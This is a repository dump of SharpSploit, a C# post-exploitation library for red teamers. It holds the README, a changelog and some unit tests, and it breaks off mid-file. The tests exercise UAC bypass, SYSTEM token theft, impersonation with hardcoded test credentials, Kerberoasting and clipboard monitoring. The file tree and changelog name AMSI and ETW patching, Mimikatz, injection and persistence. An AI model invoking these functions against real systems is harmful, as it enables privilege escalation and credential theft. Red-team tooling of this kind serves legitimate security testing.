├── .gitattributes ├── .gitignore ├── CHANGELOG.md ├── LICENSE ├── README.md ├── SharpSploit.Tests ├── SharpSploit.Tests.sln └── SharpSploit.Tests │ ├── Credentials │ └── TokensTests.cs │ ├── Enumeration │ ├── ClipboardTests.cs │ ├── DomainTests.cs │ ├── HostTests.cs │ ├── KeyloggerTests.cs │ ├── NetworkTests.cs │ └── RegistryTests.cs │ ├── Evasion │ ├── AmsiTests.cs │ └── ETWTests.cs │ ├── Execution │ ├── Injection │ │ └── InjectionTests.cs │ ├── ManualMap │ │ └── MapTests.cs │ ├── ShellCodeTests.cs │ └── ShellTests.cs │ ├── LateralMovement │ ├── DCOMTests.cs │ ├── PowerShellRemotingTests.cs │ ├── SCMTests.cs │ └── WMITests.cs │ ├── Persistence │ ├── AutorunTests.cs │ ├── StartupTests.cs │ └── WMITests.cs │ ├── Pivoting │ └── ReversePortForwardingTests.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── SharpSploit.Tests.csproj │ └── packages.config ├── SharpSploit.sln └── SharpSploit ├── Credentials ├── Mimikatz.cs └── Tokens.cs ├── Enumeration ├── Clipboard.cs ├── Domain.cs ├── GPO.cs ├── Host.cs ├── Keylogger.cs ├── Network.cs └── Registry.cs ├── Evasion ├── Amsi.cs └── ETW.cs ├── Execution ├── Assembly.cs ├── DynamicInvoke │ ├── Generic.cs │ ├── Native.cs │ └── Win32.cs ├── Injection │ ├── AllocationTechnique.cs │ ├── ExecutionTechnique.cs │ ├── Injector.cs │ ├── PayloadType.cs │ ├── SectionMapAllocationTechnique.cs │ └── VirtualAllocAllocationTechnique.cs ├── ManualMap │ ├── Map.cs │ ├── Overload.cs │ └── PE.cs ├── Native.cs ├── PlatformInvoke │ ├── Native.cs │ └── Win32.cs ├── Shell.cs ├── ShellCode.cs └── Win32.cs ├── Generic └── Generic.cs ├── LateralMovement ├── DCOM.cs ├── PowerShellRemoting.cs ├── SCM.cs └── WMI.cs ├── Misc ├── CountdownEvent.cs └── Utilities.cs ├── Persistence ├── Autorun.cs ├── COM.cs ├── Startup.cs └── WMI.cs ├── Pivoting └── ReversePortForwarding.cs ├── PrivilegeEscalation └── Exchange.cs ├── Properties └── PublishProfiles │ └── FolderProfile.pubxml ├── References ├── net35 │ ├── System.DirectoryServices.dll │ ├── System.IdentityModel.dll │ ├── System.Management.Automation.dll │ ├── System.Management.dll │ └── mscorlib.dll └── net40 │ ├── System.DirectoryServices.dll │ ├── System.IdentityModel.dll │ ├── System.Management.Automation.dll │ ├── System.Management.dll │ └── mscorlib.dll ├── Resources ├── powerkatz_x64.dll ├── powerkatz_x64.dll.comp ├── powerkatz_x86.dll └── powerkatz_x86.dll.comp ├── SharpSploit - Quick Command Reference.md ├── SharpSploit.csproj ├── SharpSploit.nuspec └── SharpSploit.xml /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.DS_Store 2 | 3 | ## Ignore Visual Studio temporary files, build results, and 4 | ## files generated by popular Visual Studio add-ons. 5 | 6 | # User-specific files 7 | *.suo 8 | *.user 9 | *.userosscache 10 | *.sln.docstates 11 | 12 | # User-specific files (MonoDevelop/Xamarin Studio) 13 | *.userprefs 14 | 15 | # Build results 16 | [Dd]ebug/ 17 | [Dd]ebugPublic/ 18 | [Rr]elease/ 19 | [Rr]eleases/ 20 | x64/ 21 | x86/ 22 | bld/ 23 | [Bb]in/ 24 | [Oo]bj/ 25 | [Ll]og/ 26 | 27 | # Visual Studio 2015 cache/options directory 28 | .vs/ 29 | # Uncomment if you have tasks that create the project's static files in wwwroot 30 | #wwwroot/ 31 | 32 | # MSTest test Results 33 | [Tt]est[Rr]esult*/ 34 | [Bb]uild[Ll]og.* 35 | 36 | # NUNIT 37 | *.VisualState.xml 38 | TestResult.xml 39 | 40 | # Build Results of an ATL Project 41 | [Dd]ebugPS/ 42 | [Rr]eleasePS/ 43 | dlldata.c 44 | 45 | # DNX 46 | project.lock.json 47 | project.fragment.lock.json 48 | artifacts/ 49 | 50 | *_i.c 51 | *_p.c 52 | *_i.h 53 | *.ilk 54 | *.meta 55 | *.obj 56 | *.pch 57 | *.pdb 58 | *.pgc 59 | *.pgd 60 | *.rsp 61 | *.sbr 62 | *.tlb 63 | *.tli 64 | *.tlh 65 | *.tmp 66 | *.tmp_proj 67 | *.log 68 | *.vspscc 69 | *.vssscc 70 | .builds 71 | *.pidb 72 | *.svclog 73 | *.scc 74 | 75 | # Chutzpah Test files 76 | _Chutzpah* 77 | 78 | # Visual C++ cache files 79 | ipch/ 80 | *.aps 81 | *.ncb 82 | *.opendb 83 | *.opensdf 84 | *.sdf 85 | *.cachefile 86 | *.VC.db 87 | *.VC.VC.opendb 88 | 89 | # Visual Studio profiler 90 | *.psess 91 | *.vsp 92 | *.vspx 93 | *.sap 94 | 95 | # TFS 2012 Local Workspace 96 | $tf/ 97 | 98 | # Guidance Automation Toolkit 99 | *.gpState 100 | 101 | # ReSharper is a .NET coding add-in 102 | _ReSharper*/ 103 | *.[Rr]e[Ss]harper 104 | *.DotSettings.user 105 | 106 | # JustCode is a .NET coding add-in 107 | .JustCode 108 | 109 | # TeamCity is a build add-in 110 | _TeamCity* 111 | 112 | # DotCover is a Code Coverage Tool 113 | *.dotCover 114 | 115 | # NCrunch 116 | _NCrunch_* 117 | .*crunch*.local.xml 118 | nCrunchTemp_* 119 | 120 | # MightyMoose 121 | *.mm.* 122 | AutoTest.Net/ 123 | 124 | # Web workbench (sass) 125 | .sass-cache/ 126 | 127 | # Installshield output folder 128 | [Ee]xpress/ 129 | 130 | # DocProject is a documentation generator add-in 131 | DocProject/buildhelp/ 132 | DocProject/Help/*.HxT 133 | DocProject/Help/*.HxC 134 | DocProject/Help/*.hhc 135 | DocProject/Help/*.hhk 136 | DocProject/Help/*.hhp 137 | DocProject/Help/Html2 138 | DocProject/Help/html 139 | 140 | # Click-Once directory 141 | publish/ 142 | 143 | # Publish Web Output 144 | *.[Pp]ublish.xml 145 | *.azurePubxml 146 | # TODO: Comment the next line if you want to checkin your web deploy settings 147 | # but database connection strings (with potential passwords) will be unencrypted 148 | #*.pubxml 149 | *.publishproj 150 | 151 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 152 | # checkin your Azure Web App publish settings, but sensitive information contained 153 | # in these scripts will be unencrypted 154 | PublishScripts/ 155 | 156 | # NuGet Packages 157 | *.nupkg 158 | # The packages folder can be ignored because of Package Restore 159 | **/packages/* 160 | # except build/, which is used as an MSBuild target. 161 | !**/packages/build/ 162 | # Uncomment if necessary however generally it will be regenerated when needed 163 | #!**/packages/repositories.config 164 | # NuGet v3's project.json files produces more ignoreable files 165 | *.nuget.props 166 | *.nuget.targets 167 | 168 | # Microsoft Azure Build Output 169 | csx/ 170 | *.build.csdef 171 | 172 | # Microsoft Azure Emulator 173 | ecf/ 174 | rcf/ 175 | 176 | # Windows Store app package directories and files 177 | AppPackages/ 178 | BundleArtifacts/ 179 | Package.StoreAssociation.xml 180 | _pkginfo.txt 181 | 182 | # Visual Studio cache files 183 | # files ending in .cache can be ignored 184 | *.[Cc]ache 185 | # but keep track of directories ending in .cache 186 | !*.[Cc]ache/ 187 | 188 | # Others 189 | ClientBin/ 190 | ~$* 191 | *~ 192 | *.dbmdl 193 | *.dbproj.schemaview 194 | *.jfm 195 | *.pfx 196 | *.publishsettings 197 | node_modules/ 198 | orleans.codegen.cs 199 | 200 | # Since there are multiple workflows, uncomment next line to ignore bower_components 201 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 202 | #bower_components/ 203 | 204 | # RIA/Silverlight projects 205 | Generated_Code/ 206 | 207 | # Backup & report files from converting an old project file 208 | # to a newer Visual Studio version. Backup files are not needed, 209 | # because we have git ;-) 210 | _UpgradeReport_Files/ 211 | Backup*/ 212 | UpgradeLog*.XML 213 | UpgradeLog*.htm 214 | 215 | # SQL Server files 216 | *.mdf 217 | *.ldf 218 | 219 | # Business Intelligence projects 220 | *.rdl.data 221 | *.bim.layout 222 | *.bim_*.settings 223 | 224 | # Microsoft Fakes 225 | FakesAssemblies/ 226 | 227 | # GhostDoc plugin setting file 228 | *.GhostDoc.xml 229 | 230 | # Node.js Tools for Visual Studio 231 | .ntvs_analysis.dat 232 | 233 | # Visual Studio 6 build log 234 | *.plg 235 | 236 | # Visual Studio 6 workspace options file 237 | *.opt 238 | 239 | # Visual Studio LightSwitch build output 240 | **/*.HTMLClient/GeneratedArtifacts 241 | **/*.DesktopClient/GeneratedArtifacts 242 | **/*.DesktopClient/ModelManifest.xml 243 | **/*.Server/GeneratedArtifacts 244 | **/*.Server/ModelManifest.xml 245 | _Pvt_Extensions 246 | 247 | # Paket dependency manager 248 | .paket/paket.exe 249 | paket-files/ 250 | 251 | # FAKE - F# Make 252 | .fake/ 253 | 254 | # JetBrains Rider 255 | .idea/ 256 | *.sln.iml 257 | 258 | # CodeRush 259 | .cr/ 260 | 261 | # Python Tools for Visual Studio (PTVS) 262 | __pycache__/ 263 | *.pyc 264 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | All notable changes to this project will be documented in this file. 3 | 4 | The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), 5 | and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). 6 | 7 | ## Unreleased 8 | ### Added 9 | - Added FreeModule to SharpSploit.Execution.ManualMap.Map (credit @TheWover) 10 | - Added option to CallMappedDllModuleExport to not invoke EntryPoint (credit @TheWover) 11 | - Added SharpSploit.Evasion.ETW class, ETWEventWrite patch (credit @salu90) 12 | - Added SharpSploit.Execution.Injection.VirtualAllocAllocationTechnique (credit @aus) 13 | - Added SharpSploit.Enumeration.Clipboard clipboard monitor (credit @shellfarmer) 14 | - Added LegitSigned option to SharpSploit.Execution.ManualMap.OverloadModule 15 | 16 | ### Changed 17 | - Update Mimikatz binaries in embedded resources 18 | - Update Mimikatz to temporarily allow unsigned overload modules 19 | 20 | ### Fixed 21 | - Fixed SharpSploit.Enumeration.Keylogger HookProc from being garbage collected, fixed handling virtual packets 22 | - Fixed rewriting IAT of modules with no import table (credit @TheWover) 23 | 24 | ## [v1.6] - 2020-06-08 25 | ### Added 26 | - Added ManualMapping functions (credit @b33f, @TheWover) 27 | - Added ModuleOverloading functions (credit @b33f) 28 | - Added Syscall stub function (credit @b33f) 29 | - Added SharpSploit.Execution.Injection namespace (credit @TheWover) 30 | - Added SharpSploit.Pivoting namespace, reverse port forwarding (credit @rasta-mouse) 31 | - Added error/verbose output to PowerShellExecute function 32 | 33 | ## [v1.5] - 2019-12-27 34 | ### Added 35 | - Added Evasion namespace, Amsi class, PatchAmsiScanBuffer function (credit @rasta-mouse) 36 | - Added Is64Bit Utility property (credit @rasta-mouse) 37 | - Added Is64BitProcess Host function (credit @TheWover) 38 | - Added GetProcessorArchitecture, GetParentProcess, GetProcessOwner, IsWow64, and supporting P/Invoke signatures (credit @rasta-mouse) 39 | - Added Keylogger class (credit @checkymander) 40 | - Added SCM class, PowerShellRemoting class, Host.GetDacl function (credit @rasta-mouse) 41 | - Added NetShareEnum functionality for Share Enumeration (credit @checkymander) 42 | - Added in-memory export parsing (credit @b33f) 43 | - Added SharpSploit.Execution.PlatformInvoke namespace 44 | - Added CreateProcessWithToken function (credit @001SPARTaN) 45 | - Added DynamicInvoke.Generic.GetLibraryAddress() and DynamicInvoke.Generic.GetExportAddress() by ordinal (credit @b33f) 46 | - Added DynamicInvoke.Generic.GetLibraryAddress() and DynamicInvoke.Generic.GetExportAddress() by MD5 hash (credit @b33f) 47 | - Added DynamicInvoke.Native.NtAllocateVirtualMemory, NtFreeVirtualMemory, NtQueryVirtualMemory, GetFilenameFromMemoryPointer (credit @b33f) 48 | 49 | ### Changed 50 | - Improved DynamicInvoke library (credit @TheWover) 51 | - Removed GetProcessListing use of WMI to obtain ppid (credit @rasta-mouse) 52 | - Improved GetProcessListing to include ppid, architecture, owner, and sort by PID (credit @rasta-mouse) 53 | - Improved SharpSploitResultList ToString() display 54 | - Moved PInvoke function signatures to PlatformInvoke namespace, enums/structs shared between PlatformInvoke and DynamicInvoke 55 | - Updated powerkatz dlls, fixed LsaSecrets/LsaCache/SamDump mimikatz shortcuts 56 | - Update shell execution commands for configurable UseShellExecute property 57 | - Updated PowerShellRemoting to return command output (credit @rasta-mouse) 58 | 59 | ## [v1.4] - 2019-08-05 60 | ### Added 61 | - Added GetDirectoryListing of a specific path 62 | - Added stderr to output of ShellExecute functions 63 | - Added ShellCmdExecute function 64 | - Added registry class with improved read/write functions 65 | - Added remote registry functions 66 | - Added GPO enumeration functions (credit @panagioto) 67 | - Added Autorun, Startup, WMI persistence functions (credit @rasta-mouse) 68 | - Added DynamicInvoke namespace (credit @TheWover) 69 | ### Changed 70 | - Updated mimikatz binaries 71 | - Changed mimikatz function to load in new thread, free input/output pointers 72 | - Updated registry tests 73 | 74 | ### Fixed 75 | - Fixed XML warning, removed angle brackets in comment 76 | 77 | ## [v1.3] - 2019-03-03 78 | ### Fixed 79 | - Fixed SharpSploit.Enumeration.Host.ChangeCurrentDirectory() to accept absolute paths 80 | - Fixed SharpSploit.Enumeration.Host.GetProcessList() retrieves valid ppid values 81 | 82 | ## [v1.2] - 2019-02-12 83 | ### Added 84 | - Added CHANGELOG.md 85 | - Added Assembly EntryPoint execution 86 | 87 | ## [v1.1] - 2018-11-03 88 | ### Added 89 | - Added DCOM lateral movement 90 | - Added nuget package 91 | 92 | ### Changed 93 | - Updated README 94 | 95 | ### Fixed 96 | - Fixed Domain warnings 97 | - Fixed XML path 98 | - Fixed Mimikatz quoting 99 | 100 | ## v1.0 - 2018-09-20 101 | - Initial release 102 | 103 | [v1.1]: https://github.com/cobbr/SharpSploit/compare/v1.0...v1.1 104 | [v1.2]: https://github.com/cobbr/SharpSploit/compare/v1.1...v1.2 105 | [v1.3]: https://github.com/cobbr/SharpSploit/compare/v1.2...v1.3 106 | [v1.4]: https://github.com/cobbr/SharpSploit/compare/v1.3...v1.4 107 | [v1.5]: https://github.com/cobbr/SharpSploit/compare/v1.4...v1.5 -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2018, Ryan Cobb (@cobbr_io) 2 | 3 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 4 | 5 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 6 | 7 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 8 | 9 | 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 10 | 11 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpSploit 2 | 3 | [SharpSploit](https://github.com/cobbr/SharpSploit) is a .NET post-exploitation library written in C# that aims to highlight the attack surface of .NET and make the use of offensive .NET easier for red teamers. 4 | 5 | [SharpSploit](https://github.com/cobbr/SharpSploit) is named, in part, as a homage to the [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) project, a personal favorite of mine! While [SharpSploit](https://github.com/cobbr/SharpSploit) does port over some functionality from [PowerSploit](https://github.com/PowerShellMafia/PowerSploit), my intention is **not** at all to create a direct port of [PowerSploit](https://github.com/PowerShellMafia/PowerSploit). [SharpSploit](https://github.com/cobbr/SharpSploit) will be it's own project, albeit with similar goals to [PowerSploit](https://github.com/PowerShellMafia/PowerSploit). 6 | 7 | ### Intro 8 | 9 | You'll find some details and motivations for the SharpSploit project in this [introductory blog post](https://cobbr.io/SharpSploit.html). 10 | 11 | ### Documentation 12 | 13 | The complete SharpSploit API docfx documentation is available [here](https://sharpsploit.cobbr.io/api/). 14 | 15 | For an easier to read, high-level quick reference and summary of SharpSploit functionality, refer to the [SharpSploit - Quick Command Reference](https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/SharpSploit%20-%20Quick%20Command%20Reference.md). 16 | 17 | ### Credits 18 | 19 | I owe a ton of credit to a lot of people. Nearly none of `SharpSploit` is truly original work. `SharpSploit` ports many modules written in PowerShell by others, utilizes techniques discovered by others, and borrows ideas and code from other C# projects as well. With that being said, I'd like to thank the following people for contributing to the project (whether they know they did or not :)): 20 | 21 | * Justin Bui ([@youslydawg](https://twitter.com/youslydawg)) - For contributing the `SharpSploit.Enumeration.Host.CreateProcessDump()` function. 22 | * Matt Graeber ([@mattifestation](https://twitter.com/mattifestation)), Will Schroeder ([@harmj0y](https://twitter.com/harmj0y)), and Ruben ([@FuzzySec](https://twitter.com/fuzzysec)) - For their work on [PowerSploit](https://github.com/PowerShellMafia/PowerSploit). 23 | * Will Schroeder ([@harmj0y](https://twitter.com/harmj0y)) - For the [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) project. 24 | * Alexander Leary ([@0xbadjuju](https://twitter.com/0xbadjuju)) - For the [Tokenvator](https://github.com/0xbadjuju/Tokenvator) project. 25 | * James Foreshaw ([@tiraniddo](https://twitter.com/tiraniddo)) - For his discovery of the token duplication UAC bypass technique documented [here](https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-3.html). 26 | * Matt Nelson ([@enigma0x3](https://twitter.com/enigma0x3)) - For his [Invoke-TokenDuplication](https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-TokenDuplication.ps1) implementation of the token duplication UAC bypass, as well his C# shellcode execution method. 27 | * Benjamin Delpy ([@gentilkiwi](https://twitter.com/gentilkiwi)) - For the [Mimikatz](https://github.com/gentilkiwi/mimikatz) project. 28 | * Casey Smith ([@subtee](https://twitter.com/subtee)) - For his work on a C# PE Loader. 29 | * Chris Ross ([@xorrior](https://twitter.com/xorrior)) - For his implementation of a Mimikatz PE Loader found [here](https://github.com/xorrior/Random-CSharpTools/blob/master/DllLoader/DllLoader/PELoader.cs). 30 | * Matt Graeber ([@mattifestation](https://twitter.com/mattifestation)) - For discovery of the AMSI bypass found [here](https://twitter.com/mattifestation/status/735261120487772160). 31 | * Lee Christensen ([@tifkin_](https://twitter.com/tifkin_)) - For the discovery of the PowerShell logging bypass found [here](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs). 32 | * All the contributors to [www.pinvoke.net](www.pinvoke.net) - For numerous PInvoke signatures. 33 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27130.2010 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSploit.Tests", "SharpSploit.Tests\SharpSploit.Tests.csproj", "{7760248F-9247-4206-BE42-A6952AA46DA2}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {7760248F-9247-4206-BE42-A6952AA46DA2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {7760248F-9247-4206-BE42-A6952AA46DA2}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {7760248F-9247-4206-BE42-A6952AA46DA2}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {7760248F-9247-4206-BE42-A6952AA46DA2}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {455193E0-615E-4004-8715-30FAAE74E430} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Credentials/TokensTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.IO; 7 | using System.Diagnostics; 8 | using System.Security.Principal; 9 | using Microsoft.VisualStudio.TestTools.UnitTesting; 10 | 11 | using SharpSploit.Credentials; 12 | 13 | namespace SharpSploit.Tests.Credentials 14 | { 15 | [TestClass] 16 | public class TokensTests 17 | { 18 | [TestMethod] 19 | public void TestImpersonateUser() 20 | { 21 | string whoami = WindowsIdentity.GetCurrent().Name; 22 | using (Tokens t = new Tokens()) 23 | { 24 | t.ImpersonateUser("DESKTOP-F9DQ76G\\TestUser"); 25 | //t.ImpersonateProcess(18760); 26 | Assert.AreEqual("DESKTOP-F9DQ76G\\TestUser".ToLower(), WindowsIdentity.GetCurrent().Name.ToLower()); 27 | 28 | Assert.IsTrue(t.RevertToSelf()); 29 | Assert.AreEqual(whoami.ToLower(), WindowsIdentity.GetCurrent().Name.ToLower()); 30 | } 31 | } 32 | 33 | [TestMethod] 34 | public void TestGetSystem() 35 | { 36 | string whoami = WindowsIdentity.GetCurrent().Name; 37 | using (Tokens t = new Tokens()) 38 | { 39 | Assert.IsTrue(t.GetSystem()); 40 | Assert.AreEqual("NT AUTHORITY\\SYSTEM".ToLower(), WindowsIdentity.GetCurrent().Name.ToLower()); 41 | 42 | Assert.IsTrue(t.RevertToSelf()); 43 | Assert.AreEqual(whoami.ToLower(), WindowsIdentity.GetCurrent().Name.ToLower()); 44 | } 45 | } 46 | 47 | [TestMethod] 48 | public void TestBypassUAC() 49 | { 50 | using (Tokens t = new Tokens()) 51 | { 52 | Assert.IsFalse(this.IsElevated()); 53 | int cmdCount = Process.GetProcessesByName("cmd").Length; 54 | Assert.IsTrue(t.BypassUAC()); 55 | Assert.AreEqual(cmdCount + 1, Process.GetProcessesByName("cmd").Length); 56 | Assert.IsTrue(t.RevertToSelf()); 57 | } 58 | } 59 | 60 | [TestMethod] 61 | public void TestMakeToken() 62 | { 63 | string whoami = WindowsIdentity.GetCurrent().Name; 64 | using (Tokens t = new Tokens()) 65 | { 66 | Assert.IsTrue(t.MakeToken("TestUser", "DESKTOP-F9DQ76G", "TestPass123!")); 67 | try 68 | { 69 | Assert.AreEqual("test", File.ReadAllText("\\\\192.168.1.230\\smb\\file.txt")); 70 | } 71 | catch (FileNotFoundException) 72 | { 73 | 74 | } 75 | 76 | Assert.AreEqual(whoami, WindowsIdentity.GetCurrent().Name); 77 | Assert.IsTrue(t.RevertToSelf()); 78 | } 79 | } 80 | 81 | [TestMethod] 82 | public void TestRunAs() 83 | { 84 | string whoami = WindowsIdentity.GetCurrent().Name; 85 | using (Tokens t = new Tokens()) 86 | { 87 | string whoaminow = t.RunAs("TestUser", "DESKTOP-F9DQ76G", "TestPass123!", () => 88 | { 89 | return WindowsIdentity.GetCurrent().Name; 90 | }); 91 | Assert.AreNotEqual(whoami.Trim().ToLower(), whoaminow.Trim().ToLower()); 92 | 93 | Assert.AreEqual("DESKTOP-F9DQ76G\\TestUser".Trim().ToLower(), whoaminow.Trim().ToLower()); 94 | } 95 | } 96 | 97 | private bool IsElevated() 98 | { 99 | return Environment.UserName.ToLower() == "system" || WindowsIdentity.GetCurrent().Owner != WindowsIdentity.GetCurrent().User; 100 | } 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Enumeration/ClipboardTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using Threads = System.Threading; 6 | using Forms = System.Windows.Forms; 7 | using Microsoft.VisualStudio.TestTools.UnitTesting; 8 | 9 | using SharpSploit.Enumeration; 10 | 11 | namespace SharpSploit.Tests.Enumeration 12 | { 13 | [TestClass] 14 | public class ClipboardTests 15 | { 16 | [TestMethod] 17 | public void TestClipboard() 18 | { 19 | string results = ""; 20 | Threads.Thread t = new Threads.Thread(() => 21 | { 22 | results = Clipboard.StartClipboardMonitor(8); 23 | }); 24 | Threads.Thread c = new Threads.Thread(() => 25 | { 26 | Forms.Clipboard.SetText("test123"); 27 | }); 28 | c.SetApartmentState(Threads.ApartmentState.STA); 29 | 30 | t.Start(); 31 | Threads.Thread.Sleep(2000); 32 | c.Start(); 33 | c.Join(); 34 | t.Join(6000); 35 | Assert.IsTrue(results.Length > 0); 36 | Assert.IsTrue(results.Contains("test123")); 37 | } 38 | } 39 | } -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Enumeration/DomainTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Linq; 7 | using System.Collections.Generic; 8 | using Microsoft.VisualStudio.TestTools.UnitTesting; 9 | 10 | using SharpSploit.Enumeration; 11 | 12 | namespace SharpSploit.Tests.Enumeration 13 | { 14 | [TestClass] 15 | public class DomainTests 16 | { 17 | [TestMethod] 18 | public void TestGetUsers() 19 | { 20 | Domain.DomainSearcher searcher = new Domain.DomainSearcher(); 21 | IList users = searcher.GetDomainUsers(); 22 | foreach (Domain.DomainObject user in users) 23 | { 24 | Assert.IsTrue(user.distinguishedname.ToLower().Contains(Environment.UserDomainName.ToLower())); 25 | } 26 | Assert.AreEqual(1, users.Where(U => U.samaccountname == "krbtgt").ToList().Count()); 27 | } 28 | 29 | [TestMethod] 30 | public void TestGetGroups() 31 | { 32 | Domain.DomainSearcher searcher = new Domain.DomainSearcher(); 33 | IList groups = searcher.GetDomainGroups(); 34 | foreach (Domain.DomainObject group in groups) 35 | { 36 | Assert.IsTrue(group.distinguishedname.ToLower().Contains(Environment.UserDomainName.ToLower())); 37 | } 38 | } 39 | 40 | [TestMethod] 41 | public void TestGetComputers() 42 | { 43 | Domain.DomainSearcher searcher = new Domain.DomainSearcher(); 44 | IList computers = searcher.GetDomainComputers(); 45 | foreach (Domain.DomainObject computer in computers) 46 | { 47 | Assert.IsTrue(computer.distinguishedname.ToLower().Contains(Environment.UserDomainName.ToLower())); 48 | } 49 | } 50 | 51 | [TestMethod] 52 | public void TestKerberoast() 53 | { 54 | List tickets = new Domain.DomainSearcher().Kerberoast(); 55 | foreach (Domain.SPNTicket ticket in tickets) 56 | { 57 | Assert.AreEqual(Environment.UserDomainName, ticket.UserDomain); 58 | } 59 | } 60 | 61 | [TestMethod] 62 | public void TestGetNetLocalGroup() 63 | { 64 | List groups = Net.GetNetLocalGroups(new List { "COBBR-WIN10-2", "cobbr-win81", "win16" }); 65 | List groups1 = Net.GetNetLocalGroups("COBBR-WIN10-2"); 66 | List groups2 = 